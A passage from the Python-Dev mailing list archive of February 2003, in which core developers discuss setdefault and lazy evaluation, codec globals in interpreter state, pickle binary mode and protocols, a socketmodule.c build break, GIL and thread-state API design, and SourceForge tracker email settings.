setdefault(aDict, aKey, aValue=3DNone, lazy=3DNone): > > assert aValue is None or lazy is None > > if aKey not in aDict: > > aDict[aKey] =3D (if lazy is None: aValue else: lazy()) > > return aDict[aKey] >=20 > Nice. Nevertheless I keep thinking that current "setdefault" behaviour > is not fully documented and counterintuitive :-). So we would need to > fix the behaviour or update docs :-p To jump in, and re-iterate (for the third time?), setdefault is -not- special. It is a function call (a method call if you wish to be technical) just like any other. No function calls in Python behave the way you think setdefault should, so the only way one can say that it would be more intuitive the way you suggest is if one is basing one's intuition on other languages wholely unrelated to Python. If that is the case (What is the currently popular expression? Ah, yes...), perhaps you can make the change, but you'll have to come up with a new name for the resulting language, for it will not be Python. So, just to sum up: 1) dict.setdefault is a regular method that is in no way special. 2) No functions in Python have the "lazy evaluation" behavior you think dict.setdefault should have. 3) No documentation describing that dict.setdefault does not lazily evaluate its second argument is missing, because no function in Python lazily evaluates its second argument. (Perhaps some documentation cou= ld be added a top-level some place, perhaps in the "Functions" section of the tutorial, pointing out that the second argument to a function is not lazily evaluated, though.) 4) Creating a special behavior for a single function (see point #1) is not intuitive. It is confusing and surprising. Jp --=20 #!/bin/bash ( LIST=3D(~/.netscape/sigs/*.sig) cat ${LIST[$(($RANDOM % ${#LIST[*]}))]} echo --$'\n' `uptime` ) > ~/.netscape/.signature --=20 up 3 days, 6:28, 2 users, load average: 0.48, 0.33, 0.28 --9Ek0hoCL9XbhcSqy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE+SaBeedcO2BJA+4YRAhymAJkB1KfsMW09eo71/+E3/a9QvlHAewCeJpuw 8ELMRvhABZ5T09La4pli4R4= =l/7i -----END PGP SIGNATURE----- --9Ek0hoCL9XbhcSqy-- From guido@python.org Wed Feb 12 01:37:04 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 11 Feb 2003 20:37:04 -0500 Subject: [Python-Dev] Codecs data In-Reply-To: "Your message of Tue, 11 Feb 2003 23:51:07 +0100." <3E497E5B.5000300@lemburg.com> References: <20030211161807.GA11135@ibook.distro.conectiva> <3E497E5B.5000300@lemburg.com> Message-ID: <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net> > Gustavo Niemeyer wrote: > > I belive we have a problem in our current codecs implementation: it > > doesn't work for multiple interpreter states, because the data is > > currently statically allocated in codecs.c. That way, only the first > > interpreter is going to have the codecs lookup working. The following > > interpreters will try to cross the interpreter state boundary and use > > the lookup function from the first interpreter, issuing all kinds of > > weird errors. > > > > One solution would be to store that data in the "sys" module > > (e.g. codec_search_path, codec_search_cache, codec_inited). > > > > Can you please advice on how to fix that? I'll be willing to provide > > a fix with the proposed solution. [MAL] > Martin had the idea to put these globals (along with other > similar globals) in the thread state structure. I believe that's > the right approach or at least hints in the right direction (we > don't want the globals to be per thread, but there doesn't > seem to be a better place). The thread state seems just wrong, if threads can share codecs. I'm not sure what the purpose of these globals is, but why can't we augment the interpreter state to hold them? > Also see: > https://sourceforge.net/tracker/?func=detail&aid=663074&group_id=5470&atid=105470 [MAL again] > Hmm, there is something called PyInterpreterState. Perhaps that's > what we want ?! (and Martin was thinking about) Yes! --Guido van Rossum (home page: http://www.python.org/~guido/) From pedronis@bluewin.ch Wed Feb 12 01:40:56 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Wed, 12 Feb 2003 02:40:56 +0100 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <7F171EB5E155544CAC4035F0182093F03CF6FE@INGDEXCHSANC1.ingdirect.com> Message-ID: <00e101c2d237$c9d66360$6d94fea9@newmexico> From: "Chermside, Michael" [Samuele Pedroni creates list of # of posts per person] It was mostly for my personal curiosity. But once the work done, I thought to share. >I'm not quite sure how you generated this list, but I notice not by hand , with a ~200 lines python script using nttplib >that I'm not on it. Now I *HAVE* been trying very hard to make >FEW posts (but hopefully insightful ones), but I still made >it to the threshold of 3. Yup, there was a small bug in the names/addresses coalescing code, you were counted 1 time for 2 posts and one time for 1, Now it is fixed. >I don't particularly care about the list, I would file it mostly under too much information, The relevant data for me was that 1/4, 1/2 of the total posts were made by just a small "vocal" group of people > but if Guido wants >a listing of who's pro/con, The last time I have ran the script I got 155 different posters, I think nobody is going to sieve through the nuances of their writings to report their opinion. There will be the vote for that. > then we shouldn't exclude people >who have tried to REDUCE the amount of noise by posting a >SMALL number of times. That was never my intention, the threshold of 3 was arbitrary and the list as such was not my goal. I think I will run the script again before the vote, because I'm interested in the debaters/voters ratio. regards. From greg@cosc.canterbury.ac.nz Wed Feb 12 05:26:25 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 12 Feb 2003 18:26:25 +1300 (NZDT) Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) In-Reply-To: Message-ID: <200302120526.h1C5QPF07718@oma.cosc.canterbury.ac.nz> Roman Suzi : > setdefault(mydict, 'goo', :makeavalue(x)) Hmmm, looks like Logo! Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From greg@cosc.canterbury.ac.nz Wed Feb 12 05:30:08 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 12 Feb 2003 18:30:08 +1300 (NZDT) Subject: [Python-Dev] [meta] EIBTI: can we acronimize? In-Reply-To: <20030211143905.GI17348@laranja.org> Message-ID: <200302120530.h1C5U8B07731@oma.cosc.canterbury.ac.nz> Lalo Martins : > I just realized I'm finally tired of typing "Explicit is better than > implicit". Can we agree to call this maxim EIBTI? Or we could follow the Ferengi and just assign numbers to the Rules of Pythonicness. Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From niemeyer@conectiva.com Wed Feb 12 12:58:33 2003 From: niemeyer@conectiva.com (Gustavo Niemeyer) Date: Wed, 12 Feb 2003 10:58:33 -0200 Subject: [Python-Dev] Codecs data In-Reply-To: <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net> References: <20030211161807.GA11135@ibook.distro.conectiva> <3E497E5B.5000300@lemburg.com> <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030212125833.GB26192@ibook.distro.conectiva> > [MAL again] > > Hmm, there is something called PyInterpreterState. Perhaps that's > > what we want ?! (and Martin was thinking about) > > Yes! Marc, are you going to work on this? Otherwise I'll prepare a fix. -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From mal@lemburg.com Wed Feb 12 13:01:15 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Wed, 12 Feb 2003 14:01:15 +0100 Subject: [Python-Dev] Codecs data In-Reply-To: <20030212125833.GB26192@ibook.distro.conectiva> References: <20030211161807.GA11135@ibook.distro.conectiva> <3E497E5B.5000300@lemburg.com> <200302120137.h1C1b4K05131@pcp02138704pcs.reston01.va.comcast.net> <20030212125833.GB26192@ibook.distro.conectiva> Message-ID: <3E4A459B.4050805@lemburg.com> Gustavo Niemeyer wrote: >>[MAL again] >> >>>Hmm, there is something called PyInterpreterState. Perhaps that's >>>what we want ?! (and Martin was thinking about) >> >>Yes! > > Marc, are you going to work on this? Otherwise I'll prepare a fix. No, I don't have time for it right now. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 12 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 48 days left EuroPython 2003, Charleroi, Belgium: 132 days left From mchermside@ingdirect.com Wed Feb 12 14:05:07 2003 From: mchermside@ingdirect.com (Chermside, Michael) Date: Wed, 12 Feb 2003 09:05:07 -0500 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression Message-ID: <7F171EB5E155544CAC4035F0182093F03CF703@INGDEXCHSANC1.ingdirect.com> > The relevant data for me was that 1/4, 1/2 of the total posts were = made by just > a small "vocal" group of people Please don't think I missed the importance of this fact. The details of the count were unimportant compared to what this says about how the perceived level of vigorous argument may actually be an artifact of a few outliers. I actually only posted thinking that there might be a bug in your counting algorithm... I still believe that in the end Guido will wind up finding a way to extract a reasonable decision from this mess, although I have a hard time seeing how he'll manage that! Knowing that a few individuals account for a lot of the "noise" may help him. -- Michael Chermside From skip@pobox.com Wed Feb 12 14:59:01 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 12 Feb 2003 08:59:01 -0600 Subject: [Python-Dev] when is binary mode required for pickle? Message-ID: <15946.24885.954134.949124@montanaro.dyndns.org> (I'm really not asking how to use pickle.) Unused as I am to programming on Windows, it's not clear to me under what circumstances I might need to open a file in binary mode for Pickle's consumption. The reason I ask is that while working on the csv PEP and module, we had some input complaining about our requirement that CSV files be opened with the 'b' flag (where it matters). Andrew mentioned that Pickle requires files be opened in binary mode. However, the documentation doesn't explicitly state this. Must, for example, a file be opened with the 'b' flag if an ASCII pickle is to be written? The doc for the Unpickler class says the file-like object must support both read(n) and readline() methods. The requirement for readline() suggests the file be opened in text mode. (Maybe this is just a nit with the Pickle docs and I don't know it?) Skip From guido@python.org Wed Feb 12 15:35:14 2003 From: guido@python.org (Guido van Rossum) Date: Wed, 12 Feb 2003 10:35:14 -0500 Subject: [Python-Dev] when is binary mode required for pickle? In-Reply-To: "Your message of Wed, 12 Feb 2003 08:59:01 CST." <15946.24885.954134.949124@montanaro.dyndns.org> References: <15946.24885.954134.949124@montanaro.dyndns.org> Message-ID: <200302121535.h1CFZEn10292@pcp02138704pcs.reston01.va.comcast.net> > Unused as I am to programming on Windows, it's not clear to me under what > circumstances I might need to open a file in binary mode for Pickle's > consumption. The reason I ask is that while working on the csv PEP and > module, we had some input complaining about our requirement that CSV files > be opened with the 'b' flag (where it matters). Andrew mentioned that > Pickle requires files be opened in binary mode. However, the documentation > doesn't explicitly state this. Must, for example, a file be opened with the > 'b' flag if an ASCII pickle is to be written? The doc for the Unpickler > class says the file-like object must support both read(n) and readline() > methods. The requirement for readline() suggests the file be opened in text > mode. The situation for pickling is complex. Pickling protocol 0 *allows* opening the file in text mode, as long as this is done both for reading and for writing. Pickling protocol 1 (AKA known as "binary mode") and protocol 2 (new in Python 2.3) *require* opening the file in binary mode (but nobody ever checks). There's no requirement that files are opened in text mode to use readline() -- but when a file was written in text mode and then readline() is used in binary mode, all your line endings will look like "\r\n". > (Maybe this is just a nit with the Pickle docs and I don't know it?) Who knows. --Guido van Rossum (home page: http://www.python.org/~guido/) From pedronis@bluewin.ch Wed Feb 12 17:09:31 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Wed, 12 Feb 2003 18:09:31 +0100 Subject: some data on the debate [Python-Dev] Update to PEP308: if-then-else expression References: <7F171EB5E155544CAC4035F0182093F03CF703@INGDEXCHSANC1.ingdirect.com> Message-ID: <011e01c2d2b9$827e6760$6d94fea9@newmexico> From: "Chermside, Michael" >> The relevant data for me was that 1/4, 1/2 of the total posts were made by just >> a small "vocal" group of people > >Please don't think I missed the importance of this fact. The details >of the count were unimportant compared to what this says about how >the perceived level of vigorous argument may actually be an artifact >of a few outliers. I actually only posted thinking that there might >be a bug in your counting algorithm... I still believe that in the >end Guido will wind up finding a way to extract a reasonable decision >from this mess, although I have a hard time seeing how he'll manage >that! Knowing that a few individuals account for a lot of the "noise" >may help him. the situation is problematic because both Erik Max Francis and Andrew Koenig are reaching 200 posts, and they both would like a ternary operator (no problem with that), but they also strongly favor basically a single candidate, that means that everybody who dislike it ought to maybe answer to every single post where they argue in favor of it (many are mostly redundant but that seems a strategy <.5 wink>). People have probaly more important things to do, still in the normal PEP process one should only convince Guido. Maybe that would still be possible after the vote (?). this-thing-is-already-past-the-funny-part'ly y'rs. From neal@metaslash.com Wed Feb 12 19:55:38 2003 From: neal@metaslash.com (Neal Norwitz) Date: Wed, 12 Feb 2003 14:55:38 -0500 Subject: [Python-Dev] when is binary mode required for pickle? In-Reply-To: <200302121535.h1CFZEn10292@pcp02138704pcs.reston01.va.comcast.net> References: <15946.24885.954134.949124@montanaro.dyndns.org> <200302121535.h1CFZEn10292@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030212195538.GR23059@epoch.metaslash.com> On Wed, Feb 12, 2003 at 10:35:14AM -0500, Guido van Rossum wrote: > > The situation for pickling is complex. Pickling protocol 0 *allows* > opening the file in text mode, as long as this is done both for > reading and for writing. Pickling protocol 1 (AKA known as "binary > mode") and protocol 2 (new in Python 2.3) *require* opening the file > in binary mode (but nobody ever checks). Is the new pickling definitely going in to 2.3? If so, has anyone started working on fixing the documentation? The most important changes I know of are the bin/protocol parameters. Neal From rnd@onego.ru Wed Feb 12 19:42:27 2003 From: rnd@onego.ru (Roman Suzi) Date: Wed, 12 Feb 2003 22:42:27 +0300 (MSK) Subject: [Python-Dev] [meta] EIBTI: can we acronimize? In-Reply-To: <200302120530.h1C5U8B07731@oma.cosc.canterbury.ac.nz> Message-ID: On Wed, 12 Feb 2003, Greg Ewing wrote: >Lalo Martins : > >> I just realized I'm finally tired of typing "Explicit is better than >> implicit". Can we agree to call this maxim EIBTI? > >Or we could follow the Ferengi and just assign numbers >to the Rules of Pythonicness. Oh... I am preparing a PEP with the word "Implicit" in the title. Is it doomed to be rejected out-right? I do not like abbreviation EIBTI. It contradicts SIBTC, SIBTD and RC ;-) Sincerely yours, Roman Suzi -- rnd@onego.ru =\= My AI powered by Linux RedHat 7.3 From brett@python.org Wed Feb 12 23:03:02 2003 From: brett@python.org (Brett Cannon) Date: Wed, 12 Feb 2003 15:03:02 -0800 (PST) Subject: [Python-Dev] SF CVS down? Message-ID: Or is just me? -Brett From mhammond@skippinet.com.au Wed Feb 12 23:37:24 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Thu, 13 Feb 2003 10:37:24 +1100 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: <200302111525.h1BFPLi11401@odiug.zope.com> Message-ID: <014801c2d2ef$b2856ae0$530f8490@eden> > > > > However, to do this auto thread state work properly, I will > > > > need to change the definition of Py_END_ALLOW_THREADS. > > > > Specifically, Py_END_ALLOW_THREADS needs to be able to > > > > handle the fact that the lock may or may not be held > > > > when it is called (whereas now, the lock must *not* be held) > > > > > > Can you explain how the current thread, which explicitly > > > released the > > > lock in Py_BEGIN_ALLOW_THREADS, could end up owning the lock when > > > Py_END_ALLOW_THREADS is entered? > > > > The short answer is that the current thread releases the lock (via > > Py_BEGIN_ALLOW_THREAD), then makes the call it needs to. This call > > may synchronously call back into Python code, acquiring the lock. > > Currently, the rule is that the callback must also release the lock > > when done. However, I am hoping to change things so that the > > callback code need *not* re-release the lock when on the same > > thread. > > Heh? The point of Py_BEGIN_ALLOW_THREAD is to allow *other* threads > to run, while the current thread engages in actions that could block > indefinitely. The code between BEGIN and END can cause any number of > callbacks to run. If one of those callbacks grabs the lock and > doesn't release it, no other thread will be able to run, even if a > later callback causes the current thread to block waiting for an > external event! This is true, but still true in many regards today. Currently, between BEGIN/END, a callback can still acquire the lock, leaving us in the same position. I am proposing that this lock need not be re-released. In both cases, there are periods of time where the current thread *does* hold the lock between BEGIN/END pairs - I am simply increasing that time - but not to the entire time. Indeed, in the vast majority of cases where BEGIN/END is currently used, there will be *no* change at all. I agree I am on thin ice here, but let's move on for now. > > The longer answer is to *why* I want to make that change: > > > > Consider: > > > > void SomeCallback() > > { > > PyAutoThreadState_Ensure(); > > ... do some Python API stuff. > > SomeOtherFunc(); // my helper function. > > ... more Python stuff. > > PyAutoThreadState_Release(); > > } > > > > Now, consider SomeOtherFunc(): > > > > void SomeOtherFunc() > > { > > // This function also needs to use the Python API > > // but is called from many many places, where the > > // Python context is not always known. > > // So use the auto-thread-state > > PyAutoThreadState_Ensure(); > > .. use the api > > PyAutoThreadState_Release(); > > } > > > > As you can see, we have *nested* calls to > PyAutoThreadState_Release(). > > The question is, in what state should PyAutoThreadState_Release() > > leave Python? > > This suggests that the GIL needs to become a reentrant lock. I don't think that solves our problem. Consider a thread: void SomeThreadEntryPoint() -> Acquire GIL -> Make some call into the Python API. -> Python code calls extension module fn. -> Extension module does Py_BEGIN_ALLOW_THREADS ... -> Release GIL In this case, the Py_BEGIN_ALLOW_THREADS would release the GIL - but being a reentrant lock, the lock itself would not actually be released, as SomeThreadEntryPoint() has already acquired the same lock on the same thread. Thus, in this case, using a reentrant lock would *never* release the GIL in Py_BEGIN_ALLOW_THREADS. Indeed, from what I can see, the GIL will *never* be released until SomeThreadEntryPoint terminates. Current Python thread-switch semantics assume that a GIL release is truly a lock release. ... > Yes, releasing on the last call makes sense -- that's a > reentrant lock. Yes, but I am not sure a reentrant lock is suitable for the entire thread-state API - I was hoping it would just be suitable for this AutoThreadState API. Now I am just confused :) I need to ponder this some more, but it seems to me a reentrant lock is of no use, as once a thread owns the lock, another thread can *never* acquire it until the *final* matched release by the owning thread - and in some cases that will be the entire lifetime of the thread. Getting-harder-by-the-minute ly, Mark. From skip@pobox.com Thu Feb 13 00:53:46 2003 From: skip@pobox.com (Skip Montanaro) Date: Wed, 12 Feb 2003 18:53:46 -0600 Subject: [Python-Dev] SF CVS down? In-Reply-To: References: Message-ID: <15946.60570.908704.862372@montanaro.dyndns.org> Brett> Or is just me? Works for me (6:53PM Central time). Skip From bac@OCF.Berkeley.EDU Thu Feb 13 01:07:11 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Wed, 12 Feb 2003 17:07:11 -0800 (PST) Subject: [Python-Dev] SF CVS down? In-Reply-To: <15946.60570.908704.862372@montanaro.dyndns.org> References: <15946.60570.908704.862372@montanaro.dyndns.org> Message-ID: [Skip Montanaro] > > Brett> Or is just me? > > Works for me (6:53PM Central time). > Yeah, it 's working now. Thanks. -Brett From tim_one@email.msn.com Thu Feb 13 01:53:50 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 12 Feb 2003 20:53:50 -0500 Subject: [Python-Dev] Overly creative config in socketmodule.c Message-ID: Someone very recently checked in this change: static PyObject* socket_inet_aton(PyObject *self, PyObject *args) { #ifndef INADDR_NONE #define INADDR_NONE (-1) #endif /* Have to use inet_addr() instead */ char *ip_addr; #if 1 ... if (inet_aton(ip_addr, &buf)) return PyString_FromStringAndSize((char *)(&buf), ... sizeof(buf)); #else /* In case you don't have inet_aton() */ ... #endif } Now in case you were wondering, #if 1 #else #endif isn't a robust way to do platform configuration . Whoever did this, please back it out or do it right. inet_aton doesn't exist on Windows, so socketmodule.c no longer compiles there. From neal@metaslash.com Thu Feb 13 02:11:15 2003 From: neal@metaslash.com (Neal Norwitz) Date: Wed, 12 Feb 2003 21:11:15 -0500 Subject: [Python-Dev] Overly creative config in socketmodule.c In-Reply-To: References: Message-ID: <20030213021115.GZ23059@epoch.metaslash.com> On Wed, Feb 12, 2003 at 08:53:50PM -0500, Tim Peters wrote: > Someone very recently checked in this change: > > [snip] > > Now in case you were wondering, > > #if 1 > #else > #endif > > isn't a robust way to do platform configuration . > > Whoever did this, please back it out or do it right. inet_aton doesn't > exist on Windows, so socketmodule.c no longer compiles there. Although I am not the guilty party, I checked in a configure change which should fix your problem. It worked on Linux, but YMMV. :-) Neal From tim_one@email.msn.com Thu Feb 13 03:15:08 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 12 Feb 2003 22:15:08 -0500 Subject: [Python-Dev] Overly creative config in socketmodule.c In-Reply-To: <20030213021115.GZ23059@epoch.metaslash.com> Message-ID: [Neal Norwitz] > Although I am not the guilty party, I checked in a configure > change which should fix your problem. It worked on Linux, but > YMMV. :-) Thanks, and it did . I checked in some more changes, and it both compiles and doesn't blow up on Windows now. The unidentified Guid^Hlty part will also be grateful. From tim_one@email.msn.com Thu Feb 13 03:36:59 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 12 Feb 2003 22:36:59 -0500 Subject: [Python-Dev] when is binary mode required for pickle? In-Reply-To: <15946.24885.954134.949124@montanaro.dyndns.org> Message-ID: Let me simplify this: if you want a surprise-free and portable life, always open pickle files in binary mode, regardless of pickling module (pickle or cPickle), platform, pickle protocol, or whether reading or writing. And, yes, the docs could be clearer about this. The downside is that proto 0 (text mode) pickles "look funny" in Notepad on Windows if written to a file opened in binary mode (they don't have the \r\n line endings then that Notepad expects). From tim_one@email.msn.com Thu Feb 13 03:57:07 2003 From: tim_one@email.msn.com (Tim Peters) Date: Wed, 12 Feb 2003 22:57:07 -0500 Subject: [Python-Dev] when is binary mode required for pickle? In-Reply-To: <20030212195538.GR23059@epoch.metaslash.com> Message-ID: [Neal Norwitz] > Is the new pickling definitely going in to 2.3? Yes. In fact, at this point, completing changes to cPickle.c is a gating factor for 2.3a2. > If so, has anyone started working on fixing the documentation? Only in the sense that an enormous amount of time (both Guido's and mine) went into the PEP. > The most important changes I know of are the bin/protocol parameters. For most people, yes. "bin" is deprecated, "proto" should not be named (cPickle doesn't accept keyword arguments), and passing -1 is the best thing to do if you don't care about reading a pickle under an older version of Python than the one that wrote the pickle. For compatibility reasons, though, the default proto value had to remain 0. There's also a ton of valuable info in the PEP about how extension types get pickled, and how to influence that. Alas, while that may be complete and accurate now, I'm not sure how comprehensible it is. The existing __reduce__ docs are out of date, in that (a) __reduce__ can return (up to) a 5-tuple now; and, (b) it's not just types written in C that can exploit __reduce__ (new-style classes in Python can too, and this was also true in 2.2). From mhammond@skippinet.com.au Thu Feb 13 04:30:36 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Thu, 13 Feb 2003 15:30:36 +1100 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: <014801c2d2ef$b2856ae0$530f8490@eden> Message-ID: <017d01c2d318$a86e6c40$530f8490@eden> My apologies - I was simply not seeing the forest for the trees. My entire problem is solved simply by making the API look like: old_state = PyAutoThreadState_Ensure(); ... PyAutoThreadState_Release(old_state); I will post an updated PEP and patch soon. Mark. From gmccaughan@synaptics-uk.com Thu Feb 13 10:44:29 2003 From: gmccaughan@synaptics-uk.com (Gareth McCaughan) Date: Thu, 13 Feb 2003 10:44:29 +0000 Subject: [Python-Dev] when is binary mode required for pickle? Message-ID: <200302131044.29587.gmccaughan@synaptics-uk.com> Guido wrote: > For most people, yes. "bin" is deprecated, "proto" should not be named > (cPickle doesn't accept keyword arguments), and passing -1 is the best thing > to do if you don't care about reading a pickle under an older version of > Python than the one that wrote the pickle. For compatibility reasons, > though, the default proto value had to remain 0. Suggestion: pickle.LATEST_PROTOCOL = cPickle.LATEST_PROTOCOL = -1 ? (It could be spelled differently.) Or the string value "latest" could be an acceptable value of proto. Or something. Anything rather than magic numbers. :-) -- g From tim.one@comcast.net Thu Feb 13 15:14:39 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 13 Feb 2003 10:14:39 -0500 Subject: [Python-Dev] when is binary mode required for pickle? In-Reply-To: <200302131044.29587.gmccaughan@synaptics-uk.com> Message-ID: [Gareth McCaughan] > Suggestion: pickle.LATEST_PROTOCOL = cPickle.LATEST_PROTOCOL = -1 ? > (It could be spelled differently.) Or the string value "latest" > could be an acceptable value of proto. Or something. Anything rather > than magic numbers. :-) I'm going to add HIGHEST_PROTOCOL = 2 for 2.3 -- thanks for the idea. Note that it doesn't address quite the same problem, though: it won't exist before 2.3, so current code can't use it. You can pass -1 today to get the highest protocol available (more by accident than by design), and your code will continue to get the highest available in 2.3 without further ado. BTW, -1 didn't bother me: I viewed it as indexing into a (conceptual) list of available protocol numbers. -1 generally has a "get the last" meaning, and we'll conveniently ignore that -716 had the same meaning here . From jcea@argo.es Thu Feb 13 17:30:47 2003 From: jcea@argo.es (Jesus Cea Avion) Date: Thu, 13 Feb 2003 18:30:47 +0100 Subject: [Python-Dev] lazy evaluation redux (was dict "setdefault". Feaure request or bugfix?) References: <3E48EB47.8CA7E77A@argo.es> <200302111433.45925.aleax@aleax.it> <3E49069B.FBD8FA@argo.es> <3E491728.84A8BF35@argo.es> <20030212011614.GC19707@meson.dyndns.org> Message-ID: <3E4BD647.48254842@argo.es> > So, just to sum up: I'm convinced. I share the global view now :-) But lazy evaluation could be a nice addition to python };-) -- Jesus Cea Avion _/_/ _/_/_/ _/_/_/ jcea@argo.es http://www.argo.es/~jcea/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ _/_/_/_/_/ PGP Key Available at KeyServ _/_/ _/_/ _/_/ _/_/ _/_/ "Things are not so easy" _/_/ _/_/ _/_/ _/_/ _/_/ _/_/ "My name is Dump, Core Dump" _/_/_/ _/_/_/ _/_/ _/_/ "El amor es poner tu felicidad en la felicidad de otro" - Leibniz From guido@python.org Thu Feb 13 17:52:12 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 13 Feb 2003 12:52:12 -0500 Subject: [Python-Dev] Changing SF tracker email preferences Message-ID: <200302131752.h1DHqCi00785@odiug.zope.com> When a new bug or patch is posted to a SF tracker, an email gets sent to python-bugs-list@python.org or patches@python.org. But... when anything is changed or added to those trackers, an email is *also* sent to those lists. I would like to receive the first kind of traffic (new tracker issues) but not the second kind, except for those tracker issues in which I am interested (which I can get by explicit turning on monitoring of those issues, or by following up). The SF tracker admin has an option to allow this: all I have to do is uncheck the box that says "Send email on all changes". I would really like to do this. Would anybody who is currently receiving bugs or patches traffic be bothered if I made this change? --Guido van Rossum (home page: http://www.python.org/~guido/) From neal@metaslash.com Thu Feb 13 18:18:49 2003 From: neal@metaslash.com (Neal Norwitz) Date: Thu, 13 Feb 2003 13:18:49 -0500 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com> References: <200302131752.h1DHqCi00785@odiug.zope.com> Message-ID: <20030213181849.GE23059@epoch.metaslash.com> On Thu, Feb 13, 2003 at 12:52:12PM -0500, Guido van Rossum wrote: > > Would anybody who is currently receiving bugs or patches traffic be > bothered if I made this change? I have no problem with the change. I'm responding to this mail to point out that when a new bug/patch is created, a file cannot be attached. After creating the new bug/patch, you must go back and attach the file. It has nothing to do with remembering to check the upload box. I submitted a bug report to SF two weeks ago. They changed the group to Second Tier Support, but haven't addressed the problem. http://sf.net/tracker/?func=detail&atid=200001&aid=675910&group_id=1 still-hoping-for-roundup-to-replace-sf-ly y'rs, Neal From theller@python.net Thu Feb 13 18:20:42 2003 From: theller@python.net (Thomas Heller) Date: 13 Feb 2003 19:20:42 +0100 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com> References: <200302131752.h1DHqCi00785@odiug.zope.com> Message-ID: Guido van Rossum writes: > When a new bug or patch is posted to a SF tracker, an email gets sent > to python-bugs-list@python.org or patches@python.org. > > But... when anything is changed or added to those trackers, an email > is *also* sent to those lists. > > I would like to receive the first kind of traffic (new tracker issues) > but not the second kind, except for those tracker issues in which I am > interested (which I can get by explicit turning on monitoring of those > issues, or by following up). > > The SF tracker admin has an option to allow this: all I have to do is > uncheck the box that says "Send email on all changes". I would really > like to do this. > > Would anybody who is currently receiving bugs or patches traffic be > bothered if I made this change? I find it sometimes interesting to receive these mails and read the comments which are posted, I cannot decide from the item description if I'm interested in this item or not. (You could also route the mails them into the trashcan, and read them with a newsreader at news.gmane.org:gmane.comp.python.bugs or patches.) Thomas From gsw@agere.com Thu Feb 13 18:23:48 2003 From: gsw@agere.com (Gerald S. Williams) Date: Thu, 13 Feb 2003 13:23:48 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: <20030213170006.13859.37435.Mailman@mail.python.org> Message-ID: Mark Hammond wrote: > My entire problem is solved simply by making the API look like: > > old_state = PyAutoThreadState_Ensure(); > ... > PyAutoThreadState_Release(old_state); Aargh! I had an e-mail composed about that right away, but didn't press send for fear of increasing the noise level of Python-Dev even more. When you said saving of state is a PITA, I figured you meant that this wasn't going to work so easily. (Next time I'll at least send a private e-mail.) Should there be Py_BEGIN_AUTO_THREAD_STATE_ENSURE and Py_END_AUTO_THREAD_STATE_ENSURE macros (analogous to Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS) as well, then? -Jerry From guido@python.org Thu Feb 13 18:38:49 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 13 Feb 2003 13:38:49 -0500 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: Your message of "13 Feb 2003 19:20:42 +0100." References: <200302131752.h1DHqCi00785@odiug.zope.com> Message-ID: <200302131838.h1DIcn101322@odiug.zope.com> > > The SF tracker admin has an option to allow this: all I have to do is > > uncheck the box that says "Send email on all changes". I would really > > like to do this. > > > > Would anybody who is currently receiving bugs or patches traffic be > > bothered if I made this change? > > I find it sometimes interesting to receive these mails and read the > comments which are posted, I cannot decide from the item description > if I'm interested in this item or not. Hm... If you're the only one I'm inclined to overrule you. :-) > (You could also route the mails them into the trashcan, and read them with a > newsreader at news.gmane.org:gmane.comp.python.bugs or patches.) No, that won't work: unless I uncheck that box, the traffic will contain all posts, but I really want to see only posts announcing new issues. --Guido van Rossum (home page: http://www.python.org/~guido/) From theller@python.net Thu Feb 13 18:48:34 2003 From: theller@python.net (Thomas Heller) Date: 13 Feb 2003 19:48:34 +0100 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: <200302131838.h1DIcn101322@odiug.zope.com> References: <200302131752.h1DHqCi00785@odiug.zope.com> <200302131838.h1DIcn101322@odiug.zope.com> Message-ID: Guido van Rossum writes: > > > The SF tracker admin has an option to allow this: all I have to 